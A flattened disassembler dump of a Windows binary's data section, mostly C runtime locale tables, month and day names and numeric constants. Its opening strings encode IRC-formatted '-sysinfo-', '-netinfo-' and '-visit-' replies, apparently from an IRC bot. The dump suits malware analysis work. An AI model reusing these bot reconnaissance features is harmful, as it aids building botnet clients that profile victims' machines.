'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41E318:loc_41E4F6o align 10h aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_41E318+20Co aHhMmSs_0 db 'HH:mm:ss',0 ; DATA XREF: sub_41E318+229o align 4 dword_44FCB8 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41E318+339o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_44FD94 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_44FDA4 dd 6C616944h, 70752Dhoff_44FDAC dd offset dword_4E414C ; DATA XREF: sub_41E66D:loc_41E6E0o off_44FDB0 dd offset loc_412F4E ; DATA XREF: sub_41E66D:loc_41E6F5o off_44FDB4 dd offset loc_412F4E ; DATA XREF: sub_41E66D+9Bo dword_44FDB8 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41E66D+C3o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh dword_44FDFC dd 5Ch dword_44FE00 dd 2A2F2Ah dword_44FE04 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41E8B6+109o dd 4C525520h, 2Eh unk_44FE20 db 2Dh ; - ; DATA XREF: sub_41E8B6+1FAo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 unk_44FE4C db 2Dh ; - ; DATA XREF: sub_41E8B6+24Do db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 dword_44FE7C dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41E8B6+27Ao dd 64657469h, 2Eh unk_44FE98 db 2Dh ; - ; DATA XREF: sub_41E8B6:loc_41EB45o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 10h dword_44FEE0 dd 1 ; sub_41EEE0+F2r ... dword_44FEE4 dd 5Dh ; sub_41EEE0:loc_41F095r ... dword_44FEE8 dd 0FFFFFFFFh ; sub_41F350+9Er ... byte_44FEEC db 0FDh ; DATA XREF: sub_41EEE0+2B7r ; sub_41EEE0+2D1r ... byte_44FEED db 0DDh ; DATA XREF: sub_41F9E0+257r ; sub_41F9E0+39Br ... byte_44FEEE db 0CDh ; DATA XREF: sub_41EEE0+2F1r ; sub_41F350+377r align 10h off_44FEF0 dd offset aFree ; DATA XREF: sub_41F9E0+177r ; sub_41F9E0+1DDr ... ; "Free" dd offset dword_43E4A4+20h dd offset dword_43E4A4+1Ch dd offset dword_43E4A4+14h dd offset dword_43E4A4+0Ch align 10h dword_44FF10 dd 173Fh dd 9875h, 9873h off_44FF1C dd offset sub_423090 ; DATA XREF: sub_4217C0+3r ; sub_4217C0+Cr dd offset sub_4230C0 dd offset sub_4230C0 dword_44FF28 dd 1B3Fh dword_44FF2C dd 19930520h, 4 dup(0) ; sub_423766+2o off_44FF40 dd offset sub_421820 ; DATA XREF: sub_424980+22r dword_44FF44 dd 2 ; sub_432590+86r ... off_44FF48 dd offset dword_4E9900 ; DATA XREF: sub_4249E0+B3o ; sub_424B30+3o ... dd 0 dd offset dword_4E9900 dd 101h dword_44FF58 dd 0FFFFFFFFh dd 0 dd 1000h, 0 dword_44FF68 dd 3 dup(0) ; sub_42C200:loc_42C253o dd 2, 0FFFFFFFFh, 3 dup(0) dword_44FF88 dd 3 dup(0) ; sub_42C200:loc_42C265o dword_44FF94 dd 2, 0FFFFFFFFh, 83h dup(0) dword_4501A8 dd 8 dup(0) ; sub_424BA0+Co dword_4501C8 dd 0FFFFFFFFh ; sub_424D20+108o ... dword_4501CC dd 2 ; .XComp0:00424C59r ... dd 2 dup(4) dword_4501D8 dd 0FFFFFFFFh ; .XComp0:00424CACr ... dd 2 dup(0FFFFFFFFh) off_4501E4 dd offset aWarning ; DATA XREF: sub_4250B0+284r ; "Warning" dd offset aError ; "Error" dd offset dword_43ED74+8 dword_4501F0 dd 0 ; sub_4258F0+44r ... off_4501F4 dd offset dword_4E9260 ; DATA XREF: sub_4258B0+29r ; sub_4258F0+8Fr dd 7 dup(0) off_450214 dd offset dword_4E9290 ; DATA XREF: sub_4258B0+1Cr ; sub_4258F0:loc_425959r dd 3 dup(0) off_450224 dd offset dword_4E92A8 ; DATA XREF: sub_4258B0+Fr ; sub_4258F0+75r dd 3 dup(0) off_450234 dd offset dword_4E9278 ; DATA XREF: sub_4258B0+3r ; sub_4258F0+82r dd 7 dup(0) dd 25630E8h, 16h dup(0) off_4502B0 dd offset sub_425D20 ; DATA XREF: sub_41EEE0+79r ; sub_41F350+C1r ... align 8 off_4502B8 dd offset off_4502B8 ; DATA XREF: sub_428460+Fo ; sub_428460+7Ao ... off_4502BC dd offset off_4502B8 ; DATA XREF: sub_428460:loc_4284F6r ; sub_428460+9Fw ... dd offset dword_4502D0 dd offset dword_4502D0 dword_4502C8 dd 0FFFFFFFFh ; sub_428640:loc_4286A7w dd 0FFFFFFFFh dword_4502D0 dd 0F0h, 0F1h, 800h dup(0) ; .XComp0:004502C4o off_4522D8 dd offset off_4502B8 ; DATA XREF: sub_428640+17r ; sub_428640+28w ... dword_4522DC dd 1E0h ; sub_425D30+146r ... dd 10h off_4522E4 dd offset word_4522EE ; DATA XREF: sub_420E70+7Cr ; sub_421570+2Dr ... off_4522E8 dd offset word_4522EE ; DATA XREF: sub_436B90+2A4w ; sub_436B90+35Bw db 2 dup(0) word_4522EE dw 20h ; DATA XREF: sub_436B90:loc_436EE1o ; sub_436B90+35Bo ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_4524F0 dd 1 ; sub_421570:loc_421576r ... byte_4524F4 db 2Eh ; DATA XREF: sub_42C5E0:loc_42D467r ; sub_42C5E0+ED2r ... align 4 dword_4524F8 dd 1 ; sub_436400+296w align 10h off_452500 dd offset aNull_1 ; DATA XREF: sub_42A6B0:loc_42AAF2r ; sub_42A6B0+57Cr ; "(null)" off_452504 dd offset aNull_0 ; DATA XREF: sub_42A6B0+514r ; "(null)" dword_452508 dd 6 ; sub_42B550+14r ... align 10h byte_452510 db 1 ; DATA XREF: sub_42B800+12Fr db 2, 4, 8 align 8 dword_452518 dd 3A4h word_45251C dw 8260h ; DATA XREF: sub_42B800+192r dw 8279h dd 21h, 0 dword_452528 dd 0DFA6h align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_452608 dd 1 dword_45260C dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_452770 dd 0D2D0920h, 5Dhdword_452778 dd 5Dh, 0 dword_452780 dd 14h off_452784 dd offset aExp ; DATA XREF: sub_42E690+2Er ; "exp" dd 1Dh, 43F264h, 1Ah, 43F260h, 1Bh, 43F258h, 1Fh, 43F250h dd 13h, 43F248h, 21h, 43F240h, 0Eh, 43F238h, 0Dh, 43F230h dd 0Fh, 43F228h, 10h, 43F220h, 5, 43F218h, 1Eh, 43F214h dd 12h, 43F210h, 20h, 43F20Ch, 0Ch, 43F204h, 0Bh, 43F1FCh dd 15h, 43F1F4h, 1Ch, 43F1ECh, 19h, 43F1E4h, 11h, 43F1DCh dd 18h, 43F1D4h, 16h, 43F1CCh, 17h, 43F1C4h, 22h, 43F1C0h dd 23h, 43F1BCh, 24h, 43F1B8h dbl_452858 dq 1.797693134862316e308 ; DATA XREF: sub_42E230+E4r ; sub_42E230:loc_42E327r ... dd 0 dd 0FFF80000h dbl_452868 dq 1.797693134862316e308 ; DATA XREF: sub_42E230:loc_42E36Ar ; sub_42E230+167r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_452880 dt 2.3562723457267347066e313 ; DATA XREF: sub_42EA80+13r ; sub_42EA80+2Ar align 4 tbyte_45288C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42EA80+41r align 4 off_452898 dd offset sub_42F270 ; DATA XREF: sub_4230D0+3w ; sub_42A6B0+6ADr off_45289C dd offset sub_42EC80 ; DATA XREF: sub_4230D0+Dw ; sub_42A6B0+6F1r off_4528A0 dd offset sub_42ED90 ; DATA XREF: sub_4230D0+17w ; sub_42C5E0+1138r off_4528A4 dd offset sub_42EBD0 ; DATA XREF: sub_4230D0+21w ; sub_42A6B0+6CFr off_4528A8 dd offset sub_42ED60 ; DATA XREF: sub_4230D0+2Bw off_4528AC dd offset sub_42F270 ; DATA XREF: sub_4230D0+35w dd offset sub_435930 align 10h off_4528C0 dd offset sub_42FFB0 ; DATA XREF: sub_430060+2Dr ; sub_430060+3Dr dword_4528C4 dd 43h ; .XComp0:004529E0o ... dword_4528C8 dd 43h, 20h dup(0) ; sub_430EF0+117o ... dword_45294C dd 43h, 20h dup(0) ; sub_430EF0+FCo ... off_4529D0 dd offset aLc_all ; DATA XREF: .XComp0:004309DFr ; .XComp0:004309F8r ... ; "LC_ALL" dword_4529D4 dd 0 ; .XComp0:00430B80r ... off_4529D8 dd offset sub_431080 ; DATA XREF: sub_430C50+12Br dd offset aLc_collate ; "LC_COLLATE" dd offset dword_4528C4 dd offset sub_436F30 dd offset dword_43F320+28h off_4529EC dd offset dword_4528C4 ; DATA XREF: sub_430DF0+F0r dd offset sub_436B90 dd offset dword_43F320+1Ch dd offset dword_4528C4 dd offset sub_436730 dd offset dword_43F320+10h dd offset dword_4528C4 dd offset sub_436400 dd offset dword_43F320+8 dd offset dword_4528C4 dd offset sub_435A80 dword_452A18 dd 0C0000005h, 0Bh, 0 ; .XComp0:0042B79Eo ... dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_452A90 dd 3 ; sub_431610:loc_4316BBr ... dword_452A94 dd 7 ; sub_432E40+17Dr dword_452A98 dd 78h ; .XComp0:00432CD6r dword_452A9C dd 0Ah ; sub_4317D0:loc_431802r ... dword_452AA0 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; sub_42A430:loc_42A629o dword_452AC8 dd 2 ; sub_432590+3Dr ... off_452ACC dd offset aR6002FloatingP ; DATA XREF: sub_432590+56r ; sub_432590+98r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 43F614h, 9, 43F5E8h, 0Ah, 43F5C4h, 10h, 43F598h dd 11h, 43F568h, 12h, 43F544h, 13h, 43F518h, 18h, 43F4E0h dd 19h, 43F4B8h, 1Ah, 43F480h, 1Bh, 43F448h, 1Ch, 43F420h dd 78h, 43F410h, 79h, 43F400h, 7Ah, 43F3F0h, 0FCh, 43F3ECh dd 0FFh, 43F3DCh, 2 dup(0) dword_452B60 dd 2694h ; .XComp0:0042DB6Fr ... align 8 dword_452B68 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_452B80 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh, 2 dup(0)dword_452BA0 dd 40Ah ; sub_437AE0+147r a040a db '040a',0 ; DATA XREF: sub_437AE0+9Ao align 4 off_452BAC dd offset aSpanishTraditi ; DATA XREF: sub_437AE0+ABr ; "Spanish - Traditional Sort" off_452BB0 dd offset byte_505345 ; DATA XREF: sub_437AE0+BCo off_452BB4 dd offset aSpain ; DATA XREF: sub_437AE0+CDr ; "Spain" off_452BB8 dd offset byte_505345 ; DATA XREF: sub_437AE0+DEo dword_452BBC dd 303538h, 0 a1252 db '1252',0 ; DATA XREF: sub_437AE0+100o align 4 dd 40Bh, 62303430h, 0 dd offset aFinnish ; "Finnish" dd offset word_4E4946 dd offset aFinland ; "Finland" dd offset word_4E4946 dd 303538h, 0 a1252_0 db '1252',0 align 4 dd 40Ch, 63303430h, 0 dd offset aFrench ; "French" dd offset loc_415245+1 dd offset aFrance ; "France" dd offset loc_415245+1 dd 303538h, 0 a1252_1 db '1252',0 align 4 dd 40Fh, 66303430h, 0 dd offset aIcelandic ; "Icelandic" dd offset byte_4C5349 dd offset aIceland ; "Iceland" dd offset byte_4C5349 dd 303538h, 0 a1252_2 db '1252',0 align 10h dd 41Dh, 64313430h, 0 dd offset aSwedish ; "Swedish" dd offset byte_455653 dd offset aSweden ; "Sweden" dd offset byte_455753 dd 303538h, 0 a1252_3 db '1252',0 align 4 dd 42Dh, 64323430h, 0 dd offset aBasque ; "Basque" dd offset byte_515545 dd offset aSpain ; "Spain" dd offset byte_505345 dd 303538h, 0 a1252_4 db '1252',0 align 4 db 0Ah db 8,0 align 4 a080a db '080a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4D5345 dd offset aMexico ; "Mexico" dd offset loc_584549+4 dd 303538h, 0 a1252_5 db '1252',0 align 4 dd 80Ch, 63303830h, 0 dd offset aFrench ; "French" dd offset loc_425242+4 dd offset aBelgium ; "Belgium" dd offset word_4C4542 dd 303538h, 0 a1252_6 db '1252',0 align 10h dd 0C07h, 37306330h, 0 dd offset aGerman ; "German" dd offset loc_414543+1 dd offset aAustria ; "Austria" dd offset byte_545541 dd 303538h, 0 a1252_7 db '1252',0 align 4 dd 0C09h, 39306330h, 0 dd offset aEnglish ; "English" dd offset loc_414E43+2 dd offset aAustralia ; "Australia" dd offset loc_535541 dd 303538h, 0 a1252_8 db '1252',0 align 4 dd 0C0Ah, 61306330h, 0 dd offset aSpanishModernS ; "Spanish - Modern Sort" dd offset byte_4E5345 dd offset aSpain ; "Spain" dd offset byte_505345 dd 303538h, 0 a1252_9 db '1252',0 align 4 dd 0C0Ch, 63306330h, 0 dd offset aFrench ; "French" dd offset loc_435243+3 dd offset aCanada ; "Canada" dd offset byte_4E4143 dd 303538h, 0 a1252_10 db '1252',0 align 10h dd 100Ah, 61303031h, 0 dd offset aSpanish ; "Spanish" dd offset byte_475345 dd offset aGuatemala ; "Guatemala" dd offset byte_4D5447 dd 303538h, 0 a1252_11 db '1252',0 align 4 dd 100Ch, 63303031h, 0 dd offset aFrench ; "French" dd offset word_535246 dd offset aSwitzerland ; "Switzerland" dd offset byte_454843 dd 303538h, 0 a1252_12 db '1252',0 align 4 dd 140Ah, 61303431h, 0 dd offset aSpanish ; "Spanish" dd offset loc_435344+1 dd offset aCostaRica ; "Costa Rica" dd offset byte_495243 dd 303538h, 0 a1252_13 db '1252',0 align 4 dd 140Ch, 63303431h, 0 dd offset aFrench ; "French" dd offset word_4C5246 dd offset aLuxembourg ; "Luxembourg" dd offset loc_58554C dd 303538h, 0 a1252_14 db '1252',0 align 10h dd 180Ah, 61303831h, 0 dd offset aSpanish ; "Spanish" dd offset loc_415345 dd offset aPanama ; "Panama" dd offset dword_4E4150 dd 303538h, 0 a1252_15 db '1252',0 align 4 dd 1C09h, 39306331h, 0 dd offset aEnglish ; "English" dd offset byte_534E45 dd offset aSouthAfrica ; "South Africa" dd offset word_46415A dd 373334h, 0 a1252_16 db '1252',0 align 4 dd 1C0Ah, 61306331h, 0 dd offset aSpanish ; "Spanish" dd offset off_445344+1 dd offset aDominicanRepub ; "Dominican Republic" dd offset dword_4D4F44 dd 303538h, 0 a1252_17 db '1252',0 align 4 db 0Ah db ' ',0 align 4 a200a db '200a',0 align 10h dd offset aSpanish ; "Spanish" dd offset byte_565345 dd offset aVenezuela ; "Venezuela" dd offset word_4E4556 dd 303538h, 0 a1252_18 db '1252',0 align 10h db 0Ah db '$',0 align 4 a240a db '240a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4F5345 dd offset aColombia ; "Colombia" dd offset byte_4C4F43 dd 303538h, 0 a1252_19 db '1252',0 align 4 db 0Ah db '(',0 align 10h a280a db '280a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_525345 dd offset aPeru ; "Peru" dd offset dword_524550 dd 303538h, 0 a1252_20 db '1252',0 align 4 db 0Ah db ',',0 align 4 a2c0a db '2c0a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_535345 dd offset aArgentina ; "Argentina" dd offset byte_475241 dd 303538h, 0 a1252_21 db '1252',0 align 4 a0 db 0Ah db '0',0 align 4 a300a db '300a',0 align 10h dd offset aSpanish ; "Spanish" dd offset byte_465345 dd offset aEcuador ; "Ecuador" dd offset byte_554345 dd 303538h, 0 a1252_22 db '1252',0 align 10h a4 db 0Ah db '4',0 align 4 a340a db '340a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4C5345 dd offset aChile ; "Chile" dd offset byte_4C4843 dd 303538h, 0 a1252_23 db '1252',0 align 4 a8 db 0Ah db '8',0 align 10h a380a db '380a',0 align 4 dd offset aSpanish ; "Spanish" dd offset loc_595343+2 dd offset aUruguay ; "Uruguay" dd offset loc_595253+2 dd 303538h, 0 a1252_24 db '1252',0 align 4 db 0Ah db '<',0 align 4 a3c0a db '3c0a',0 align 4 dd offset aSpanish ; "Spanish" dd offset loc_5A5344+1 dd offset aParaguay ; "Paraguay" dd offset loc_595250 dd 303538h, 0 a1252_25 db '1252',0 align 4 word_453044 dw 0C0Ch, 0C1Ah, 1007h, 436h, 80Ch, 42Dh, 403h, 100Ch ; DATA XREF: sub_4379B0+34r dw 810h, 81Dh off_453058 dd offset aAmerica ; DATA XREF: sub_436FC0+9Co ; "america" dd offset loc_415354+1 dd offset aBritain ; "britain" dd offset byte_524247 dd offset aChina ; "china" dd offset byte_4E4843 dd offset aCzech ; "czech" dd offset byte_455A43 dd offset aEngland ; "england" dd offset byte_524247 dd offset aGreatBritain ; "great britain" dd offset byte_524247 dd offset aHolland ; "holland" dd offset unk_444C4E dd offset aHongKong ; "hong-kong" dd offset dword_474B48 dd offset aNewZealand ; "new-zealand" dd offset word_4C5A4E dd offset aNz ; "nz" dd offset word_4C5A4E dd offset aPrChina_0 ; "pr china" dd offset byte_4E4843 dd offset aPrChina ; "pr-china" dd offset byte_4E4843 dd offset aPuertoRico ; "puerto-rico" dd offset dword_495250 dd offset aSlovak ; "slovak" dd offset byte_4B5653 dd offset aSouthAfrica_1 ; "south africa" dd offset word_46415A dd offset aSouthKorea_0 ; "south korea" dd offset byte_524F4B dd offset aSouthAfrica_0 ; "south-africa" dd offset word_46415A dd offset aSouthKorea ; "south-korea" dd offset byte_524F4B dd offset aTrinidadTobago ; "trinidad & tobago" dd offset dword_4F5454 dd offset dword_43F9EC+4 dd offset byte_524247 dd offset aUnitedKingdom ; "united-kingdom" dd offset byte_524247 dd offset aUnitedStates ; "united-states" dd offset loc_415354+1 dd offset dword_43F9EC dd offset loc_415354+1 off_453110 dd offset aAmerican ; DATA XREF: sub_436FC0+67o ; "american" dd offset byte_554E45 dd offset aAmericanEngl_0 ; "american english" dd offset byte_554E45 dd offset aAmericanEnglis ; "american-english" dd offset byte_554E45 dd offset aAustralian ; "australian" dd offset loc_414E43+2 dd offset aBelgian ; "belgian" dd offset loc_424C4D+1 dd offset aCanadian ; "canadian" dd offset loc_434E45 dd offset aChh ; "chh" dd offset word_48485A dd offset aChi ; "chi" dd offset word_49485A dd offset aChinese ; "chinese" dd offset byte_534843 dd offset aChineseHongkon ; "chinese-hongkong" dd offset word_48485A dd offset aChineseSimplif ; "chinese-simplified" dd offset byte_534843 dd offset aChineseSingapo ; "chinese-singapore" dd offset word_49485A dd offset aChineseTraditi ; "chinese-traditional" dd offset byte_544843 dd offset aDutchBelgian ; "dutch-belgian" dd offset loc_424C4D+1 dd offset aEnglishAmerica ; "english-american" dd offset byte_554E45 dd offset aEnglishAus ; "english-aus" dd offset loc_414E43+2 dd offset aEnglishBelize ; "english-belize" dd offset byte_4C4E45 dd offset aEnglishCan ; "english-can" dd offset loc_434E45 dd offset aEnglishCaribbe ; "english-caribbean" dd offset loc_424E44+1 dd offset aEnglishIre ; "english-ire" dd offset byte_494E45 dd offset aEnglishJamaica ; "english-jamaica" dd offset byte_4A4E45 dd offset aEnglishNz ; "english-nz" dd offset byte_5A4E45 dd offset aEnglishSouthAf ; "english-south africa" dd offset byte_534E45 dd offset aEnglishTrinida ; "english-trinidad y tobago" dd offset byte_544E45 dd offset aEnglishUk ; "english-uk" dd offset byte_474E45 dd offset aEnglishUs ; "english-us" dd offset byte_554E45 dd offset aEnglishUsa ; "english-usa" dd offset byte_554E45 dd offset aFrenchBelgian ; "french-belgian" dd offset loc_425242+4 dd offset aFrenchCanadian ; "french-canadian" dd offset loc_435243+3 dd offset aFrenchLuxembou ; "french-luxembourg" dd offset word_4C5246 dd offset aFrenchSwiss ; "french-swiss" dd offset word_535246 dd offset aGermanAustrian ; "german-austrian" dd offset loc_414543+1 dd offset aGermanLichtens ; "german-lichtenstein" dd offset loc_434544 dd offset aGermanLuxembou ; "german-luxembourg" dd offset dword_4C4544 dd offset aGermanSwiss ; "german-swiss" dd offset dword_534544 dd offset aIrishEnglish ; "irish-english" dd offset byte_494E45 dd offset aItalianSwiss ; "italian-swiss" dd offset byte_535449 dd offset aNorwegian ; "norwegian" dd offset word_524F4E dd offset aNorwegianBokma ; "norwegian-bokmal" dd offset word_524F4E dd offset aNorwegianNynor ; "norwegian-nynorsk" dd offset word_4E4F4E dd offset aPortugueseBraz ; "portuguese-brazilian" dd offset loc_42544E+2 dd offset aSpanishArgenti ; "spanish-argentina" dd offset byte_535345 dd offset aSpanishBolivia ; "spanish-bolivia" dd offset loc_425341+4 dd offset aSpanishChile ; "spanish-chile" dd offset byte_4C5345 dd offset aSpanishColombi ; "spanish-colombia" dd offset byte_4F5345 dd offset aSpanishCostaRi ; "spanish-costa rica" dd offset loc_435344+1 dd offset aSpanishDominic ; "spanish-dominican republic" dd offset off_445344+1 dd offset aSpanishEcuador ; "spanish-ecuador" dd offset byte_465345 dd offset aSpanishElSalva ; "spanish-el salvador" dd offset byte_455345 dd offset aSpanishGuatema ; "spanish-guatemala" dd offset byte_475345 dd offset aSpanishHondura ; "spanish-honduras" dd offset byte_485345 dd offset aSpanishMexican ; "spanish-mexican" dd offset byte_4D5345 dd offset aSpanishModern ; "spanish-modern" dd offset byte_4E5345 dd offset aSpanishNicarag ; "spanish-nicaragua" dd offset byte_495345 dd offset aSpanishPanama ; "spanish-panama" dd offset loc_415345 dd offset aSpanishParagua ; "spanish-paraguay" dd offset loc_5A5344+1 dd offset dword_43F9EC+58h dd offset byte_525345 dd offset dword_43F9EC+44h dd offset byte_555345 dd offset dword_43F9EC+34h dd offset loc_595343+2 dd offset dword_43F9EC+20h dd offset byte_565345 dd offset dword_43F9EC+10h dd offset byte_465653 dd offset dword_43F9EC+8 dd offset dword_534544 dd offset dword_43F9EC+4 dd offset byte_474E45 dd offset dword_43F9EC dd offset byte_554E45 dd offset off_43F9E8 dd offset byte_554E45 off_453318 dd offset off_453320 ; DATA XREF: sub_435A80+70w ; sub_435A80:loc_435B21w ... align 10h off_453320 dd offset aSun ; DATA XREF: sub_435A80:loc_435B21o ; .XComp0:off_453318o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset aSaturday ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril ; "April" dd offset aMay ; "May" dd offset aJune ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember ; "November" dd offset dword_43FE34+34h dd offset dword_43FE34+30h dd offset dword_43FE34+2Ch dd offset dword_43FE34+24h dd offset dword_43FE34+10h dd offset dword_43FE34+8 align 10h dword_4533D0 dd 2Eh, 0 ; .XComp0:off_4533D8o off_4533D8 dd offset dword_4533D0 ; DATA XREF: sub_436730+D4w ; sub_436730+F6o ... off_4533DC dd offset dword_4E94A8 ; DATA XREF: sub_436730+E2w off_4533E0 dd offset dword_4E94A8 ; DATA XREF: sub_436730+F1w dd offset dword_4E94A8 dd offset dword_4E94A8 dd offset dword_4E94A8 dd offset dword_4E94A8 dd offset dword_4E94A8 dd offset dword_4E94A8 dd offset dword_4E94A8 dd 2 dup(7F7F7F7Fh) off_453408 dd offset off_4533D8 ; DATA XREF: sub_436400:loc_4364E9r ; sub_436400+F8r ... align 10h dword_453410 dd 7080h ; sub_43B7C0+9Br ... dword_453414 dd 1 ; sub_43B7C0:loc_43B89Ew ... dword_453418 dd 0FFFFF1F0h ; sub_43B7C0+E8w ... off_45341C dd offset dword_545350 ; DATA XREF: .XComp0:off_45349Co dd 0Fh dup(0) off_45345C dd offset loc_544450 ; DATA XREF: .XComp0:off_4534A0o dd 0Fh dup(0) off_45349C dd offset off_45341C ; DATA XREF: sub_439D20+534r ; sub_43B7C0+FAr ... off_4534A0 dd offset off_45345C ; DATA XREF: sub_43B7C0+140r ; sub_43B7C0+16Ar ... align 8 dword_4534A8 dd 0FFFFFFFFh ; sub_43BBA0+1Ar ... dword_4534AC dd 0 ; sub_43BBA0+20Fr ... dword_4534B0 dd 0 ; sub_43BEA0+13Dw align 8 dword_4534B8 dd 0FFFFFFFFh ; sub_43B7C0+2Br ... dword_4534BC dd 0 ; sub_43BBA0+21Dr ... dword_4534C0 dd 0 ; sub_43BEA0+177w ... align 8 dword_4534C8 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_453628 dd 0CCCDCCCDh, 0CCCCCCCCh, 